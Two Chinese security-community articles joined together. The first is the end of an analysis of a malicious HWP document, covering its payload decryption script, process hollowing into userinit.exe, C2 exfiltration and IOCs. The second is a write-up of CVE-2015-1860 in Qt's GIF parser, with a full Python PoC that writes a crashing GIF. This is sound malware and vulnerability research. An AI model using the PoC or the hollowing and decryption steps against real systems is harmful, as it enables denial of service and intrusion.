GetHashHWPAscii("ResumeThread");
GetHashHWPAscii("SetThreadContext");
GetHashHWPAscii("VirtualProtectEx");
GetHashHWPAscii("WriteProcessMemory");
GetHashHWPAscii("GetVersionExA");
GetHashHWPAscii("ReadProcessMemory");
GetHashHWPAscii("TerminateProcess");
GetHashHWPAscii("GetThreadContext");
GetHashHWPAscii("GetLastError");
GetHashHWPAscii("GetProcAddress");
GetHashHWPAscii("GetSystemDirectoryA");
GetHashHWPAscii("GetModuleHandleA");
GetHashHWPAscii("CreateProcessA");
GetHashHWPAscii("GlobalAlloc");
GetHashHWPAscii("GetFileSize");
GetHashHWPAscii("SetFilePointer");
GetHashHWPAscii("CloseHandle");
GetHashHWPAscii("VirtualAllocEx");
GetHashHWPAscii("ReadFile");
return 0;
}
### 定位PE文件并解密
获得需要的功能函数后，shellcode首先通过`GlobalAlloc`函数申请一段内存，用来存储后面将要读入的PE数据。随后，从4开始，遍历句柄，暴力搜索文件大小等于当前hwp文件大小的文件句柄并保存，然后将文件指针移动到`0x9DE1`偏移处，并将大小为`3E40A
Bytes`的内容读入之前申请的内存处。
然后，shellcode从读入的文档内容开始搜索两个连续的标志`0x42594F4A`，`0x4D545245`，并将第2个标志结束`+2`的地址处作为PE数据的首地址保存到[ebp-18]处。
可以在HWP文档中定位到相应数据区域：
不过此时的PE文件数据仍为被加密的状态，shellcode随后用两轮解密将解密的PE文件进行解密，相关汇编代码如下：
在理解上述代码的基础上一样可以用python写出解密程序，如下：
# -*- coding: utf-8 -*- import os
import binascii
cur_dir = os.path.dirname(__file__)
path_encode = os.path.join(cur_dir, "pe_encode.bin")
with open(path_encode, "rb") as f:
bin_data = f.read()
bin_data = binascii.b2a_hex(bin_data)
i = 2 * 2
while (i / 2) < 0x18400:
a = int(bin_data[i-4:i-4+2], 16)
b = int(bin_data[i-2:i], 16)
c = int(bin_data[i:i+2], 16)
c = '{:02x}'.format((a ^ b ^ c) & 0xFF)
bin_data = bin_data[:i] + c[0] + c[1] + bin_data[i+2:]
i += 2 * 1
i = 2 * 2
while (i / 2) < 0x18400:
c = int(bin_data[i:i+2], 16)
c = ((c << ((i / 2) & 7)) & 0xFF) + ((c >> (8 - ((i / 2) & 7))) & 0xFF) ^ (i / 2)
c = '{:02x}'.format(c & 0xFF)
bin_data = bin_data[:i] + c[0] + c[1] + bin_data[i+2:]
i += 2 * 1
path_decode = os.path.join(cur_dir, "pe_decode.bin")
with open(path_decode, "wb") as f:
f.write(binascii.a2b_hex(bin_data[4:]))
解密前的PE数据如下：
解密后的PE数据如下：
### 创建userinit.exe进程并挂起
得到解密的PE文件后，shellcode做了一系列准备并最终去启动userinit.exe进程，启动时传入`CREATE_SUSPENDED`标志，指明将userinit.exe启动后挂起：
### 替换userinit.exe主模块
随后shellcode调用`GetThreadContext`获取userinit.exe主线程的线程上下文并保存到栈的指定位置：
接着读取userinit.exe的`Peb.ImageBaseAddress`：
然后动态获取`ntdll!ZwUnmapViewOfSection`，并判断操作系统版本，如果操作系统主版本小于6(相关原理可以参考[这篇文章](https://cysinfo.com/detecting-deceptive-hollowing-techniques/))，则调用该API对主模块基地址的内存进行解映射，否则直接跳到后续步骤：
接着shellcode在userinit.exe进程内`0x400000`地址处(即PE文件中写入的进程默认加载基址)申请一片内存，内存大小等于解密出来的PE文件，并先将PE文件的头部写入所申请的内存(`0x400000`)：
随后往上述内存区域循环写入PE文件的各个节区：
每写完一个节区后，shellcode获取PE文件中该节区的原始读写属性(通过`Characteristics`字段)，并在内存中相应更新这些节区对应的内存属性：
完成上述步骤后，shellcode将userinit.exe进程的`Peb.ImageBaseAddress`域改写为`0x400000`(即注入后的PE基地址)，并将线程上下文中`Context.eax`更新为所注入PE的`AddressOfEntryPoint`，这部分的原理可以参考[这篇文章](https://blog.csdn.net/lixiangminghate/article/details/42121929)。
最后恢复userinit.exe的主线程，并关闭刚才打开的userinit.exe进程句柄，从而使主线程去执行`Process
Hollowing`后的PE文件，达到偷天换日的目的。相关代码可以参考[这里](https://github.com/m0n0ph1/Process-Hollowing)。
## 注入的PE文件
前面我们已经静态解密出了PE文件，我们现在来看一下解密出的PE文件的基本信息，用`pestudio`打开该PE文件，看一下这个PE文件的基本信息：
可以看到该PE文件的编译时间是`2017.12.26 10:13:17`，此外还可以知道该PE文件的链接器版本是9.0。
### 逆向PE文件
整个PE文件既没有加壳，也没有加花指令，整体逻辑非常清晰明了，拖进IDA基本上就原形毕露了。
PE文件主入口函数如下：
正如函数名所示，它首先调用`AdjustTokenPrivileges`提升自己的权限，然后分别从`Kernel32.dll/Wininet.dll/Advapi32.dll`获取所需的功能函数并保存到全局变量，最后启动一个新的线程，并在10秒后退出当前函数。
(以下几个函数貌似并没有被用到)
来看一下启动的线程干了哪些事情，如下图所示，这个线程的主要目的就是先收集系统信息，并保存到`%appdata%MicrosoftNetworkxyz`，随后将这些信息发送给远程C2，传完之后删除xyz文件。随后进入一个循环，每隔30分钟从远程服务器尝试下载一个`zyx.dll`并保存到`%appdata%MicrosoftNetworkzyx.dll`并尝试加载之。这里推测是C2端需要先判断目标用户是否有价值，然后才决定是否将下一阶段的载荷发送给目标用户。
收集信息部分的代码也很直接，如下：
随后将收集的信息发送给远程C2：
最后，一旦远程dll被下发到目标机器，PE文件会立即加载之，并在3分钟后卸载对应的dll并删除文件。由于我们调试期间并没有获得下发的dll，所以dll里面具体执行了什么逻辑不得而知。
## IOC
HWP: e488c2d80d8c33208e2957d884d1e918
PE: 72d44546ca6526cdc0f6e21ba8a0f25d
Domain: online[-]business.atwebpages[.]com
IP: 185[.]176.43.82
## 参考链接
<https://github.com/m0n0ph1/Process-Hollowing>
<https://cysinfo.com/detecting-deceptive-hollowing-techniques/>
<https://blog.csdn.net/lixiangminghate/article/details/42121929>
<https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/KimKwakJang-VB2018-Dokkaebi.pdf> | 社区文章 |
# 【技术分享】CVE-2015-1860分析：Qt模块处理gif图导致崩溃(附PoC)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **simp1e_Pwn**
****](http://bobao.360.cn/member/contribute?uid=2814776946)
**预估稿费：400RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**漏洞背景**
Qt是一个跨平台的图形化界面编程框架，其版本在小于4.8.7和5.x小于5.4.2解析图片的过程中对于越界检查的处理不当，会导致memcpy的过程中发生越界错误，这个漏洞已经被公开了，但是Qt作为基础库，许多基于Qt的软件并没有更新，同时Qt在跨平台的软件中广泛应用，因此也存在很大风险，同时网络上没有PoC，笔者经过分析写出来PoC。
**漏洞成因**
QGIFFormat::nextY()在处理时，对于越界没有检查，外面被置上了越界标志，内部依然照样运行，这就会出现问题。
代码问题，我们可以对照Qt的code Review来看看。
最终问题在/src/gui/image/gifhandler.cpp
的QGIFFormat::nextY()的memcpy，这里我们可以控制left,使得right-left
小于0，那么拷贝的时候就可以很大了，但是因为这样拷贝的数据过大，只能导致崩溃，不能利用。
void QGIFFormat::nextY(unsigned char *bits, int bpl)
{
int my;
switch (interlace) {my = qMin(7, bottom-y);
// Don't dup with transparency
if (trans_index < 0) {
for (i=1; i<=my; i++) {
memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb),
(right-left+1)*sizeof(QRgb));
}
}
....
QGIFFormat::nextY()关键处的反汇编代码如下。
.text:68F015EE loc_68F015EE: ; CODE XREF: gif_nexty+1EEj
.text:68F015EE mov esi, [eax+60h] ; left
.text:68F015F1 lea ebx, ds:0[esi*4]
.text:68F015F8 lea ecx, [edi+edx]
.text:68F015FB imul ecx, [ebp+t_bpl]
.text:68F015FF add ecx, ebx
.text:68F01601 add ecx, [ebp+arg_4]
.text:68F01604 mov [ebp+var_10], ecx
.text:68F01607 mov ecx, [eax+68h] ; right
.text:68F0160A sub ecx, esi ; right-left
.text:68F0160C lea ecx, ds:4[ecx*4]
.text:68F01613 imul edi, [ebp+t_bpl]
.text:68F01617 lea esi, [edi+ebx]
.text:68F0161A add esi, [ebp+arg_4]
.text:68F0161D ; 72: while ( 1 )
.text:68F0161D mov edi, [ebp+var_10]
.text:68F01620 rep movsb ; memcpy
**漏洞复现**
这里是对gif文件进行的解析，所以我们必须得学习gif的文件格式知识。关于这方面的知识，有很多博客讲解的很详细了，大家可以参考<http://blog.csdn.net/wzy198852/article/details/17266507>
这里就不再赘述，直接给大家一个和Qt的GIFFormat::decode函数里面的变量对应好的例子吧。
下面我们先来看源码QGIFFormat::decode()函数中的部分代码。从490行到560行，这里是涉及到调用QGIFFormat::nextY函数的核心代码，中间主要是一段涉及到LZW的解码算法，解码之后得到GlobalColormap中的index，并把这些像素点对应的颜色值复制到bits对应的数组里面去。
if (needfirst) {
firstcode=oldcode=code;
if (!out_of_bounds && image->height() > y && ((frame == 0) || (firstcode != trans_index)))
((QRgb*)FAST_SCAN_LINE(bits, bpl, y))[x] = color(firstcode);
x++;
if (x>=swidth) out_of_bounds = true;
needfirst=false;
if (x>=left+width) {
x=left;
out_of_bounds = left>=swidth || y>=sheight;
nextY(bits, bpl);
}
} else {
incode=code;
if (code>=max_code) {
*sp++=firstcode;
code=oldcode;
}
while (code>=clear_code+2) {
if (code >= max_code) {
state = Error;
return -1;
}
*sp++=table[1][code];
if (code==table[0][code]) {
state=Error;
return -1;
}
if (sp-stack>=(1<<(max_lzw_bits))*2) {
state=Error;
return -1;
}
code=table[0][code];
}
if (code < 0) {
state = Error;
return -1;
}
*sp++=firstcode=table[1][code];
code=max_code;
if (code<(1<<max_lzw_bits)) {
table[0][code]=oldcode;
table[1][code]=firstcode;
max_code++;
if ((max_code>=max_code_size)
&& (max_code_size<(1<<max_lzw_bits)))
{
max_code_size*=2;
code_size++;
}
}
oldcode=incode;
const int h = image->height();
QRgb *line = 0;
if (!out_of_bounds && h > y)
line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y);
while (sp>stack) {
const uchar index = *(--sp);
if (!out_of_bounds && h > y && ((frame == 0) || (index != trans_index))) {
line[x] = color(index);
}
x++;
if (x>=swidth) out_of_bounds = true;
if (x>=left+width) {
x=left;
out_of_bounds = left>=swidth || y>=sheight;
nextY(bits, bpl);
if (!out_of_bounds && h > y)
line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y);
}
}
}
我们来看memcpy里面的各个参数是受到什么影响的
memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb),
(right-left+1)*sizeof(QRgb));
#define FAST_SCAN_LINE(bits, bpl, y) (bits + (y) * bpl)//bits 和 bpl的来源
gifhandler.cpp - line 356
if (image->isNull()) {
(*image) = QImage(swidth, sheight, format);
bpl = image->bytesPerLine();
bits = image->bits();
memset(bits, 0, image->byteCount());
}
//left 和 right还有y 的来源 gifhandler.cpp line 338,366int newleft=LM(hold[1], hold[2]);
int newtop=LM(hold[3], hold[4]);
left = newleft;
top = newtop;y = top;right=qMax(0, qMin(left+width, swidth)-1);
bottom=qMax(0, qMin(top+height, sheight)-1);
同时还有我们进入memcpy函数外面的对my的判断
my = qMin(7, bottom-y);
这里my也不能小于0，小于0也不会调用memcpy。同时我们为了搞清楚溢出的边界在哪里，我们必须知道分配的堆有多大，我们断在**bits = image
->bits()** 这里immunitydebugger跟入，断点断在0x68f01e9f
可以看见这里的eax=0x318ab90
借助mona插件我们得到堆内存的布局如下
0BADF00D _HEAP_ENTRY psize size unused UserPtr UserSize
0BADF00D 0318a830 00070 00028 00018 0318a838 00000010 (16) (Fill pattern,Extra present,Busy)
0BADF00D 0318a858 00028 00118 00018 0318a860 00000100 (256) (Fill pattern,Extra present,Busy)
0BADF00D 0318a970 00118 00218 00018 0318a978 00000200 (512) (Fill pattern,Extra present,Busy)
0BADF00D 0318ab88 00218 002d8 00018 0318ab90 000002c0 (704) (Fill pattern,Extra present,Busy)
0BADF00D 0318ae60 002d8 02400 00000 0318ae68 00002400 (9216) (Fill pattern)
0BADF00D 0318d260 02400 00038 00018 0318d268 00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D 0318d298 00038 00098 00018 0318d2a0 00000080 (128) (Fill pattern,Extra present,Busy)
0BADF00D 0318d330 00098 00058 00018 0318d338 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318d388 00058 00038 00018 0318d390 00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D 0318d3c0 00038 00050 00018 0318d3c8 00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D 0318d410 00050 00060 00018 0318d418 00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D 0318d470 00060 00060 00018 0318d478 00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D 0318d4d0 00060 00060 0001c 0318d4d8 00000044 (68) (Fill pattern,Extra present,Busy)
0BADF00D 0318d530 00060 00010 00000 0318d538 00000010 (16) (Fill pattern)
0BADF00D 0318d540 00010 015b0 0001a 0318d548 00001596 (5526) (Fill pattern,Extra present,Busy)
0BADF00D 0318eaf0 015b0 00030 00018 0318eaf8 00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D 0318eb20 00030 00058 00018 0318eb28 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318eb78 00058 00038 0001a 0318eb80 0000001e (30) (Fill pattern,Extra present,Busy)
0BADF00D 0318ebb0 00038 00030 00018 0318ebb8 00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D 0318ebe0 00030 00058 00018 0318ebe8 00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D 0318ec38 00058 00050 00018 0318ec40 00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D 0318ec88 00050 00088 00018 0318ec90 00000070 (112) (Fill pattern,Extra present,Busy)
0BADF00D 0318ed10 00088 00038 00018 0318ed18 00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D 0318ed48 00038 10018 00019 0318ed50 0000ffff (65535) (Fill pattern,Extra present,Busy)
0BADF00D 0319ed60 10018 00018 00000 0319ed68 00000018 (24) (Fill pattern)
0BADF00D 0319ed78 00018 04018 00018 0319ed80 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031a2d90 04018 04018 00018 031a2d98 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031a6da8 04018 04018 00018 031a6db0 00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D 031aadc0 04018 08018 00018 031aadc8 00008000 (32768) (Fill pattern,Extra present,Busy)
0BADF00D 031b2dd8 08018 21208 00000 031b2de0 00021208 (135688) (Fill pattern)
0BADF00D 031d3fe0 21208 00020 00003 031d3fe8 0000001d (29) (Busy)
0BADF00D 0x031d3ff8 - 0x034f0000 (end of segment) : 0x31c008 (3260424) uncommitted bytes
0BADF00D
我们可以看到大小是0x2c0=(0x10(swidth)*0xb(sheight)*4(sizeof(Qrgb)))。
依据以上的分析，我们可以得出来，如果我们设置top大于sheight的时候，就有导致my小于0，不能执行memcpy，而其他情况下这里的代码可以保证复制的数据不溢出边界，但是如果我将right调整得比left小的话那么就发生了整形溢出，因为memcpy的时候最后一个参数是无符号整数，所以就会变成一个特别大的数字，从而导致复制数据到了不可写的地方导致程序崩溃。我们再来分析这个数字在哪个范围呢？因为的left,width,top的范围都是0~65535所以right最小是0，left最大是65535,(right-left+1)*sizeof(QRgb)(4)=0xFFFC0008,这个时候的memcpy的值是最小的，但是还是太大了，所以导致了崩溃。因而这个漏洞也就是只能够导致dos的，不能够利用。
//断在68f016d
Breakpoint 0 hit
eax=03f2c628 ebx=00000080 ecx=ffffffc0 edx=00000001 esi=03141388 edi=00000000
eip=68f0161d esp=0022cde4 ebp=0022cdf8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
qgif4+0x161d:
68f0161d 8b7df0 mov edi,dword ptr [ebp-10h] ss:0023:0022cde8=031413c8
0:000> g
(8b4.ab4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03f2c628 ebx=00000080 ecx=fff7c388 edx=00000001 esi=031c4fc0 edi=031c5000
eip=68f01620 esp=0022cde4 ebp=0022cdf8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
qgif4+0x1620:
68f01620 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
**
**
**PoC**
最后附上PoC，其实这里的PoC就是生成了一个gif文件，任何使用上述有漏洞的Qt版本来处理gif的软件就会发生崩溃。
#!/use/bin/python
#coding:utf-8
import sys
def encode_lzw(stri,lzw_size):
clear_code=1 << lzw_size
end_code = clear_code+1
entry,head,tail=0,0,0
dit={}
outp=[]
ll=len(stri)
head=stri[0]
cur_code=end_code+1
for i in xrange(1,ll):
tail=stri[i]
kk=(head,tail)
if dit.has_key(kk):
#如果在表里面的话
head=dit[kk]
continue
else:
outp.append(head)
dit[kk]=cur_code
print 'key:%s value:%s'%(kk,cur_code)
cur_code+=1
head=tail
continue
return outp
import struct
import math
if __name__ == "__main__":
header='GIF89a'
my_wdith=0x1
my_height=0xb
my_color_count=32
swdith=struct.pack('H',my_wdith)
sheight=struct.pack('H',my_height)
scode= struct.pack('B',0xc0+( int( math.log(my_color_count,2))-1 )) +'x00'+'x00'
color_map=''
for i in xrange(my_color_count):
color_map+=struct.pack('bbb',i,i,i)
introducer='x21xf9'
graphicControlExtension='x04'+'x00'*4
skip='x00x2c'
left=struct.pack('H',0xffff)
top=struct.pack('H',0)
width=struct.pack('H',0x10)
height=struct.pack('H',0xB)
flg=struct.pack('B',0x40)
lzwsize=struct.pack('B',0x5)
datablocksize=struct.pack('B',0x81)
plain=''
for i in xrange(26):
plain += chr(ord('A')+i) *8
plain =plain+'A'*20+'BCDEFGHIJK'*2+'CCC'+'KJUI'
print plain
enc= encode_lzw(plain,5)
datablock=''
for i in enc:
if type(i)==str:
datablock+=struct.pack('B',ord(i)-ord('A'))
else :
datablock+=struct.pack('B',i)
print datablock
eof='x21x00x3b'
fp=open('1.gif','wb')
bin_data=header+swdith+sheight+scode+color_map+introducer+graphicControlExtension
bin_data+=skip+left+top+width+height+flg+lzwsize +datablocksize+datablock+eof
fp.write(bin_data)
fp.close() | 社区文章 |
Subsets and Splits